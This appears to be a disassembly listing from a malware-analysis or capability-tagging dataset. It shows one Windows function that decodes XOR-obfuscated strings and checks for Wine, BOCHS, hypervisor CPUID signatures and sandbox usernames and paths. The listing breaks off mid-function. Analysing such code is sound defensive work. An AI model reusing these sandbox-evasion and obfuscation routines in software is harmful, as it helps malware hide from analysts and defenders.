Function at 0x140031570
Capabilities:
Check for sandbox username or hostname
Check for time delay via gettickcount
Enumerate processes
Get disk information
Get disk size
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x3070
call fcn.140046630
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140090100]
xor rax, rsp
mov qword [rbp + 0x3000], rax
xor r12d, r12d
mov r14d, r12d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc98], xmm1
mov qword [rbp + 0xca8], r12
movabs rax, 0x34b930af5d0526de
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x620], rax
movabs rax, 0xd0281eaf4dc602ef
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x628], rax
movabs rax, 0x9b91088b1c6b7869
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x630], rax
movabs rdi, 0xc553503e322d8854
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x638], rax
movabs rsi, 0x34d730dd5d6026b5
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1480], rax
movabs r15, 0xd01a1e9c4daa028a
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1488], rax
movabs r13, 0x9bfd08e71c0f7847
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1490], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1498], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x1480]
vmovdqu ymmword [rbp + 0x620], ymm1
lea rcx, [rbp + 0x620]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x1400317b8
movabs rax, 0x40b25782380e4fc2
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x640], rcx
movabs rax, 0xb97c41e424c477d5
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x648], rcx
movabs rax, 0x9b98658672501d2b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x650], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x658], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1540], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1548], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1550], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1558], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x1540]
vmovdqa ymmword [rbp + 0x640], ymm1
lea rdx, [rbp + 0x640]
mov rcx, rbx
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400317b8
lea rdx, str.Wine_unix_file_name
lea rcx, [rbp + 0xbc0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xbc0]
call fcn.140008650
lea r14d, [r12 + 1]
movabs rax, 0x3483309b5d2f26e6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x500], rax
movabs rax, 0xd05f1ece4deb02dd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x508], rax
movabs rax, 0x9b93088e1c58781b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x510], rax
movabs rax, 0xc553503e322d8831
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x518], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15e0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15e8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x15f8], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x15e0]
vmovdqu ymmword [rbp + 0x500], ymm1
vzeroupper
call fcn.14003ce40
xor r8d, r8d
lea rdx, [rbp + 0x500]
mov rcx, 0xffffffff80000001
test eax, eax
lea rax, [rbp + 0xc58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x1400318a5
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400318f3
mov rcx, qword [rbp + 0xc58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Wine_reg_key
lea rcx, [rbp + 0xba0]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xba0]
call fcn.140008650
inc r14d
lea rdx, str.bochs_cpu_amd1
lea rcx, [rbp + 0xb80]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xb80]
call fcn.140008650
movabs rax, 0x57970b98df044c17
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x44cab67a1674b213
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2e8], rax
movabs r15, 0x27f454ebb7672375
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfc0], rax
movabs r15, 0x44ca841e7b15ed66
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfc8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xb60]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xb60]
call fcn.140008650
add r14d, 2
movups xmm0, xmmword [str.HARDWAREDescriptionSystem]
movups xmmword [rbp + 0x16a8], xmm0
movups xmm1, xmmword [0x140083268]
movups xmmword [rbp + 0x16b8], xmm1
movups xmm0, xmmword [0x140083278]
movups xmmword [rbp + 0x16c8], xmm0
movsd xmm0, qword [0x140083288]
movsd qword [rbp + 0x16d8], xmm0
movups xmm1, xmmword [str.SystemBiosVersion]
movups xmmword [rbp + 0x1680], xmm1
movups xmm0, xmmword [0x1400832a0]
movups xmmword [rbp + 0x1690], xmm0
mov eax, dword [0x1400832b0]
mov dword [rbp + 0x16a0], eax
mov eax, dword [str.BOCHS]
mov dword [rbp + 0x1650], eax
movzx eax, word [0x1400832b8]
mov word [rbp + 0x1654], ax
lea rax, [rbp + 0x1650]
mov r13, 0xffffffffffffffff
mov rdi, r13
inc rdi
cmp byte [rax + rdi], 0
jne 0x140031a67
mov rcx, rdi
add rcx, 1
cmovb rcx, r13
call fcn.140057310
mov rsi, rax
lea rdx, [rdi + 1]
mov r9, r13
lea r8, [rbp + 0x1650]
mov rcx, rax
call fcn.140056e5c
mov dword [rbp + 0xcbc], 0x400
call fcn.14003ce40
xor r8d, r8d
lea rdx, [rbp + 0x16a8]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140031ad5
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140031c65
lea rax, [rbp + 0xcbc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1c00]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1680]
mov rcx, qword [rbp + 0xc48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0xc48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140031c65
mov rbx, r12
lea rcx, [rbp + 0x1c00]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x140031b40
test rax, rax
je 0x140031b7f
nop dword [rax]
movsx ecx, byte [rbp + rbx + 0x1c00]
call fcn.140056e30
mov byte [rbp + rbx + 0x1c00], al
inc rbx
lea rcx, [rbp + 0x1c00]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140031b71
cmp rbx, rax
jb 0x140031b50
test rdi, rdi
je 0x140031b9b
mov rbx, rsi
movsx ecx, byte [rbx]
call fcn.140056e30
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140031b87
mov rdx, rsi
lea rcx, [rbp + 0x1c00]
call fcn.14004806c
test rax, rax
je 0x140031c65
mov rcx, rsi
call fcn.140055008
movabs rax, 0x42860b98df044c17
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x44ca84671e7eb201
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2f8], rax
movabs rsi, 0x27f454ebb7672375
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfd0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfd8], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xb40]
call fcn.1400122c0
nop
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0xc98]
call fcn.140037360
nop
lea rcx, [rbp + 0xb40]
call fcn.140008650
inc r14d
jmp 0x140031c77
mov rcx, rsi
call fcn.140055008
movabs rsi, 0x27f454ebb7672375
xor eax, eax
xor ecx, ecx
cpuid
mov dword [rbp + 0x10], eax
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], edx
cmp ecx, 0x444d4163
jne 0x140031df5
mov eax, 0x8fffffff
xor ecx, ecx
cpuid
mov dword [rbp + 0x10], eax
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x18], ecx
mov dword [rbp + 0x1c], edx
test ebx, ebx
movabs rbx, 0x57970b98df044c17
jne 0x140031dff
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x230], rax
movabs rax, 0x44cab67a1674b213
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x238], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfe0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xfe8], rax
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0x230], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp + 0x230]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140031d32
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x20]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140031d95
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x30]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x30], r12
mov edx, 0xf
mov qword [rbp + 0x38], rdx
mov byte [rbp + 0x20], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140031da9
lea r8, [rbp + 0x20]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140031de0
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031ddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
inc r14d
jmp 0x140031dff
movabs rbx, 0x57970b98df044c17
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x75a6e16a157cb213
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e8], rax
movabs rcx, 0xa83bf489d89ac547
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f0], rax
movabs rdi, 0xe0ee54dcd1454548
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14a0], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14a8], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14b0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x14b8], rax
vmovdqu ymm0, ymmword [rbp + 0x14a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x4e0], ymm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp + 0x4e0]
mov r8, r13
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140031ed0
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x60]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140031f33
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x70], r12
mov edx, 0xf
mov qword [rbp + 0x78], rdx
mov byte [rbp + 0x60], 0
add qword [rbp + 0xca0], 0x20
jmp 0x140031f47
lea r8, [rbp + 0x60]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140031f7e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031f79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
inc r14d
mov dword [rbp + 8], r14d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140032189
lea eax, [rcx + 0x34]
lea ebx, [rax + 0x100]
mov edx, dword [rcx + 8]
cmp edx, eax
jb 0x140032185
cmp edx, ebx
ja 0x140032185
movabs rax, 0x44ab3b84dc045616
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x37a6f0411076880e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c8], rax
movabs rcx, 0xa83bf489d89ac547
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1440], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1448], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1450], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1458], rax
vmovdqu ymm0, ymmword [rbp + 0x1440]
vpxor ymm0, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x4c0], ymm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
lea rax, [rbp + 0x4c0]
mov r8, r13
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400320a0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x180]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032115
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x190], r12
mov edx, 0xf
mov qword [rbp + 0x198], rdx
mov byte [rbp + 0x180], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003212f
lea r8, [rbp + 0x180]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140032169
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032164
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
inc r14d
mov dword [rbp + 8], r14d
mov dword [rbp + 0xcc0], 0xc8
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x1710]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rbx, r12
lea rcx, [rbp + 0x1710]
mov rax, r13
inc rax
cmp byte [rcx + rax], bl
jne 0x1400321b4
test rax, rax
je 0x1400321f0
movsx ecx, byte [rbp + rbx + 0x1710]
call fcn.140056e30
mov byte [rbp + rbx + 0x1710], al
inc rbx
lea rcx, [rbp + 0x1710]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x1400321e2
cmp rbx, rax
jb 0x1400321c1
movabs rdi, 0x97253a3c462d50d0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rcx, 0x6c36a57b33319374
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xff0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xff8], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1710]
call fcn.14004806c
movabs rbx, 0x45903a8ac4094612
test rax, rax
jne 0x1400323a1
movabs rax, 0x977d752d573158d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rcx, 0x6c36a57b33319374
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x1710]
call fcn.14004806c
test rax, rax
jne 0x1400323a1
movabs rax, 0x9738273f552f50ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rcx, 0x6c36a57b33319374
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movdqa xmm0, xmmword [rbp + 0x320]
xorps xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x1710]
call fcn.14004806c
test rax, rax
je 0x140032569
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x2ab8e16d0e4a9509
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0xa83bf489d8ffa826
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rcx, 0xe0ee54dcd1454548
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1420], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1428], rax
movabs rax, 0xa83bf489d89ac547
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1430], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1420]
vmovdqa ymmword [rbp + 0x4a0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x4a0]
mov r8, r13
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140032480
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0xe0]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x1400324f5
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0xe0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0xf0], r12
mov edx, 0xf
mov qword [rbp + 0xf8], rdx
mov byte [rbp + 0xe0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003250f
lea r8, [rbp + 0xe0]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140032549
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032544
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
inc r14d
mov dword [rbp + 8], r14d
mov r8d, 0x1f4
lea rdx, [rbp + 0x18f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rbx, r12
lea rcx, [rbp + 0x18f0]
mov rax, r13
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x140032590
test rax, rax
je 0x1400325cf
nop dword [rax]
movsx ecx, byte [rbp + rbx + 0x18f0]
call fcn.140056e30
mov byte [rbp + rbx + 0x18f0], al
inc rbx
lea rcx, [rbp + 0x18f0]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x1400325c1
cmp rbx, rax
jb 0x1400325a0
movabs rax, 0x9738392e4f2242df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rbx, 0x6c36a57b33319374
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x18f0]
call fcn.14004806c
test rax, rax
jne 0x140032756
movabs rax, 0x977d262b502a47df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x977d757e02631183
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x18f0]
call fcn.14004806c
test rax, rax
jne 0x140032756
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rdi, 0x977d757e02631183
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1040], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1048], rax
movdqa xmm0, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x18f0]
call fcn.14004806c
test rax, rax
je 0x1400328d9
jmp 0x140032760
movabs rdi, 0x977d757e02631183
movabs rax, 0x45903a8ac4094612
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x44a2f07f0b4a9509
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1050], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x240]
xorps xmm0, xmmword [rbp + 0x1050]
movdqa xmmword [rbp + 0x240], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
lea rax, [rbp + 0x240]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400327f0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0xa0]
call fcn.140016e70
nop
mov rdx, qword [rbp + 0xca0]
cmp rdx, qword [rbp + 0xca8]
je 0x140032865
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0xb0], r12
mov edx, 0xf
mov qword [rbp + 0xb8], rdx
mov byte [rbp + 0xa0], 0
add qword [rbp + 0xca0], 0x20
jmp 0x14003287f
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0xc98]
call fcn.140037b10
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400328b9
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400328b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400360b2
call fcn.140045d00
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
inc r14d
mov dword [rbp + 8], r14d
movabs rax, 0x97217550023f11df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0x6c45a50233599324
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
movabs rax, 0x9fd4db196233e044
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
movabs rax, 0x62db0bf48b9f6942
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
movabs rax, 0x521f281a93fd3b02
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rcx, 0x31519e778c3edc08
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
